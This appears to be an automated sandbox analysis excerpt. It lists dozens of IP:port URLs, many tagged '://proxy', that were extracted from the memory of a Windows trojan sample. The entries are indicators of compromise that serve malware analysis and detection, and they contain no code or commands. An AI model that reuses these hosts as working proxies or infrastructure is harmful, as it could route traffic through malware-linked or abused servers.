Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAC65000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD1F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://132.148.245.169:38117
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://132.148.245.169:38117://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://132.148.245.169:38780
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C760E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://132.148.245.169:38780://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://132.148.245.169:49824
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://132.148.245.169:49824://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC019000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBFF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://132.148.245.55:22508
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBFF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://132.148.245.55:22508://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://132.148.6.238:58977
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://132.148.6.238:58977://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://133.18.234.13
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://133.18.234.13://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://133.18.234.13:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC88F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://134.119.190.185:777
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://134.119.190.185:777://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://134.122.26.11
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://134.122.26.11://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://134.122.26.11:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6480000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://134.122.43.203:56442
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6480000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://134.122.43.203:56442://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD0E5000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6480000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://134.122.5.111:26783
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://134.122.5.111:26783://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://134.122.5.111:42404
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://134.122.5.111:42404://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBC75000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBC86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://134.122.5.111:9601
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBC7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://134.122.5.111:9601://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8029000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8005000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://134.19.254.2:21231
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8005000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://134.19.254.2:21231://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6DD9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://134.195.91.76:23118
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://134.195.91.76:23118://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://134.209.189.42
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://134.209.189.42://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://134.209.189.42:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://134.209.29.120:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://134.209.29.120:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95C0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9591000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://134.209.98.127:53976
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9591000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://134.209.98.127:53976://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://134.213.213.124
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://134.213.213.124://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://134.213.213.124:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://134.35.15.200:1080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://134.35.15.200:1080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://135.148.10.161:60415
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://135.148.10.161:60415://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://135.181.102.118:7117
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://135.181.102.118:7117://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://135.181.55.81:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://135.181.55.81:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://135.181.78.38:60063
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://135.181.78.38:60063://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://136.233.136.41:48976
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://136.233.136.41:48976://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://136.233.136.41:48976x
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://136.243.245.231:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://136.243.245.231:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC182000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBBA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://136.244.99.51:8888
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC3E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://136.244.99.51:8888://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBA76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://137.184.0.30:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBA76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://137.184.0.30:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBC09000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBB63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://137.184.100.135
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAE42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://137.184.100.135://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAE42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://137.184.100.135:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://137.184.182.145:15685
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://137.184.182.145:15685://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC908000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://137.184.197.190
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC6A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://137.184.197.190://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC15B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://137.184.197.190:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB0F0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://137.184.200.42:8000
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB0F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://137.184.200.42:8000://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://137.184.22.92:8000
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://137.184.22.92:8000://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://137.59.48.20:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://137.59.48.20:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBBA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://137.59.50.39:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBBA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://137.59.50.39:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBE6D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.0.141.46:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBE6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.0.141.46:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.0.207.18:38328
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.0.207.18:38328://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.0.228.120:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.0.228.120:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA6C5000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.0.26.120:9010
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.0.26.120:9010://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.117.116.30:44009
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.117.116.30:44009://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65A9000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBBA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.117.229.17:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.117.229.17:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.118.106.106:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.118.106.106:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBDC0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAE42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.118.106.237:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAE42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.118.106.237:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBFA6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD1F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.118.200.49:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBFA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.118.200.49:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.118.213.213:4153
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.118.213.213:4153://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8347000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C840A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.121.61.81:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.121.61.81:8080://proxyp
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.197.10.76:15908
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.197.10.76:15908://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.197.102.119
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.197.102.119://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.197.102.119:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.197.92.110:21346
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.197.92.110:21346://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.197.92.110:35982
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.197.92.110:35982://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.2.68.129:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.2.68.129:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C82BF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.201.21.218:43478
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.201.21.218:43478://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.201.21.228:59480
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.201.21.228:59480://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.201.21.232:48915
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.201.21.232:48915://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAABD000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAA8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.204.95.166:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAA8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.204.95.166:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAE42000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.219.50.170:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAE42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.219.50.170:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.3.218.141:54261
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.3.218.141:54261://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.36.150.28:1080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.36.150.28:1080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.68.129.50
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.68.129.50://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.68.129.50:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.68.149.125:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C84DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.68.149.125:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C66CD000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD0E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.68.170.243:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C66CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.68.170.243:3128://proxy
